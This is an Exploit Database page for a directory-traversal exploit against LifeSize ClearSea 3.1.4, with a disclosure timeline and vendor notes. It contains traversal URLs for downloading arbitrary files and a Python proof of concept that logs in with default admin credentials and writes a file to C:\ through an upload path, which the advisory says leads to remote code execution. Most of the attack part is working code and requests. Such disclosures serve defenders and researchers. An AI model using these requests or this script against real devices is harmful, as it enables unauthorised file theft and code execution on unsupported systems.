



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

LifeSize ClearSea 3.1.4 - Directory Traversal

EDB-ID:

44390

CVE:

N/A

EDB Verified: ✘

Author:

[RSP3AR](#)

Type:

[WEBAPPS](#)

Exploit:  

Platform:

[WINDOWS](#)

Date:

2018-04-02

Vulnerable App:



 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```
...
```

Title: LifeSize ClearSea 3.1.4 Directory Traversal Vulnerabilities

Author: rsp3ar <lukunming@gmail.com>

Impact: Remote Code Execution (Post-Authentication)

Recommendation: Use strong password for default 'admin' user and secure management access to the device. Please consult vendor for replacement/alternative solutions.

Timeline:

- 01.29.2018: Open Case 00302227 to notify the vulnerabilities.
- 01.30.2018: Got notified product is EoL as Jan 14 2017 and no longer supported.
- 02.05.2018: Open Case 00302876 to notify the intention of disclosure.
- 03.02.2018: Notify the tentative date for disclosure.
- 03.07.2018: Contacted by LifeSize and discussed the detail of vulnerabilities & disclosure.
- 03.31.2018: Public Disclosure

Description

```
=====
```

LifeSize ClearSea is a client/server solution for desktop and mobile video collaboration.

Version 3.1.4 has been End of Life since Jan 14 2017, and suffers from directory traversal vulnerabilities. After authenticated as admin on Control Panel, attacker will be able to

- 1) Download arbitrary file;
- 2) Upload arbitrary file (leading to code execution).

1. Arbitrary file (boot.ini) download via directory traversal vulnerabilities

```
http://x.x.x.x:8800/smartgui/media/ClearSea/smartgui/media/ClearSea/?
guiID=CDRS_BROWSE_GRID&actionID=DownloadAll&rowIDs=../../../../../../../../..
http://x.x.x.x:8800/smartgui/media/ClearSea/smartgui/media/ClearSea/?
guiID=LOGS_BROWSE_GRID&actionID=DownloadAll&rowIDs=../../../../../../../../..
```

2. Arbitrary file upload

Below POC will create test.txt under C:\

```
...
```

```
#!/usr/bin/env python
```

```
import sys
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS =
'RSA+AESGCM:RSA+AES:RC4-SHA'
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
```

```
# Update target URL and credentials
```

```
TARGET = "http://127.0.0.1:8800/"
```

```
USERNAME = "admin"
```

```
PASSWORD = "admin"
```

```
LOGIN_PATH = "smartgui/"
```

```
UPLOAD_PATH = "smartgui/upload/-m-ClearSea-c-DHP_PKG_UPLOAD_FORM-w-
filename/cfcyvcffiv/"
```

```
TEST_FILE_NAME = "test.txt"
```

```
print("[*] Authenticate with %s..." % (TARGET))
```

```
cookies = {}
```

```
# Get rootSessionID
```

```
r = requests.get(TARGET, verify=False)
```

```
cookies["rootSessionID"] = r.cookies["rootSessionID"]
```

```
# Get smartguiSessionID
```

```
auth_data = {
```

```
    "smartGuiAuthenticate": "t",
```

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```

"email": USERNAME,
"password": PASSWORD
}
r = requests.post(TARGET + LOGIN_PATH, data = auth_data, cookies = cookies,
verify=False)
if r.cookies.get("smartguiSessionID") == None:
    print("[!] Invalid Username or Password")
    sys.exit()
cookies["smartguiSessionID"] = r.cookies["smartguiSessionID"]
print("[*] Authentication is successful!")

print("[*] Create remote file C:\\%s..." % (TEST_FILE_NAME))
files = {
    "SmartGuiUploadField": (TEST_FILE_NAME, "This is a test file")
}
r = requests.post(TARGET + UPLOAD_PATH + "..\\" * 8 + TEST_FILE_NAME, files
= files,
                cookies = cookies, verify=False)
if r.status_code == requests.codes.ok:
    print("[*] Remote file C:\\%s has been successfully created" %
(TEST_FILE_NAME))

```

Tags:

Advisory/Source: [Link](#)

Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)[PRIVACY](#)[ABOUT US](#)[FAQ](#)[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.